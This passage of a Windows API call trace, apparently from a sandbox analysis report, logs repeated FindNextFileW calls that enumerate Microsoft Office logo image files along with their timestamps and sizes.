ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-black_scale-180.png", cAlternateFileName="PO12D5~1.PNG")) returned 1 [0102.441] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x627, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-black_scale-80.png", cAlternateFileName="PO605C~1.PNG")) returned 1 [0102.441] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x705, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-white_scale-100.png", cAlternateFileName="POF730~1.PNG")) returned 1 [0102.441] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-white_scale-140.png", cAlternateFileName="POD5F0~1.PNG")) returned 1 [0102.441] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-white_scale-180.png", cAlternateFileName="PO9322~1.PNG")) returned 1 [0102.441] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x63a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.contrast-white_scale-80.png", cAlternateFileName="POB2A2~1.PNG")) returned 1 [0102.441] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.scale-100.png", cAlternateFileName="PO420E~1.PNG")) returned 1 [0102.444] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x853, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.scale-140.png", cAlternateFileName="PO003F~1.PNG")) returned 1 [0102.444] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.scale-180.png", cAlternateFileName="PO5DB3~1.PNG")) returned 1 [0102.444] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPntLogoSmall.scale-80.png", cAlternateFileName="PO2503~1.PNG")) returned 1 [0102.444] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x96a, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-black_scale-100.png", cAlternateFileName="VI0946~1.PNG")) returned 1 [0102.444] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-black_scale-140.png", cAlternateFileName="VIC677~1.PNG")) returned 1 [0102.445] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-black_scale-180.png", cAlternateFileName="VISIOL~3.PNG")) returned 1 [0102.445] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x86e, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-black_scale-80.png", cAlternateFileName="VISIOL~1.PNG")) returned 1 [0102.445] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x954, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-white_scale-100.png", cAlternateFileName="VIFA3F~1.PNG")) returned 1 [0102.445] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe11, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-white_scale-140.png", cAlternateFileName="VISIOL~2.PNG")) returned 1 [0102.445] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf11, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-white_scale-180.png", cAlternateFileName="VISIOL~4.PNG")) returned 1 [0102.445] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x847, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.contrast-white_scale-80.png", cAlternateFileName="VI1BD5~1.PNG")) returned 1 [0102.445] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.scale-100.png", cAlternateFileName="VIA47A~1.PNG")) returned 1 [0102.445] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe69, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.scale-140.png", cAlternateFileName="VIAD54~1.PNG")) returned 1 [0102.445] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.scale-180.png", cAlternateFileName="VI20DC~1.PNG")) returned 1 [0102.445] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.scale-80.png", cAlternateFileName="VI2F4A~1.PNG")) returned 1 [0102.445] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x790, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-black_scale-100.png", cAlternateFileName="VI6631~1.PNG")) returned 1 [0102.445] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x899, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-black_scale-140.png", cAlternateFileName="VI2462~1.PNG")) returned 1 [0102.445] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-black_scale-180.png", cAlternateFileName="VI71F6~1.PNG")) returned 1 [0102.445] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-black_scale-80.png", cAlternateFileName="VI602A~1.PNG")) returned 1 [0102.446] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-white_scale-100.png", cAlternateFileName="VI77E0~1.PNG")) returned 1 [0102.446] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-white_scale-140.png", cAlternateFileName="VI3512~1.PNG")) returned 1 [0102.446] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-white_scale-180.png", cAlternateFileName="VI82A6~1.PNG")) returned 1 [0102.446] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x67f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-white_scale-80.png", cAlternateFileName="VIEC8E~1.PNG")) returned 1 [0102.446] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.scale-100.png", cAlternateFileName="VI400A~1.PNG")) returned 1 [0102.452] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x901, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.scale-140.png", cAlternateFileName="VIF275~1.PNG")) returned 1 [0102.452] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.scale-180.png", cAlternateFileName="VI3544~1.PNG")) returned 1 [0102.452] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.scale-80.png", cAlternateFileName="VIA6C1~1.PNG")) returned 1 [0102.452] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-black_scale-100.png", cAlternateFileName="WINPRO~3.PNG")) returned 1 [0102.452] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc49, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-black_scale-140.png", cAlternateFileName="WINPRO~1.PNG")) returned 1 [0102.452] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-black_scale-180.png", cAlternateFileName="WINPRO~2.PNG")) returned 1 [0102.452] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x814, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-black_scale-80.png", cAlternateFileName="WIE37A~1.PNG")) returned 1 [0102.452] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-white_scale-100.png", cAlternateFileName="WIA969~1.PNG")) returned 1 [0102.452] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-white_scale-140.png", cAlternateFileName="WID2E1~1.PNG")) returned 1 [0102.452] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8a15c5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-white_scale-180.png", cAlternateFileName="WI9EA3~1.PNG")) returned 1 [0102.452] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x836, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-white_scale-80.png", cAlternateFileName="WI385D~1.PNG")) returned 1 [0102.453] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x935, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.scale-100.png", cAlternateFileName="WI7FD4~1.PNG")) returned 1 [0102.453] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.scale-140.png", cAlternateFileName="WI3D06~1.PNG")) returned 1 [0102.453] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: 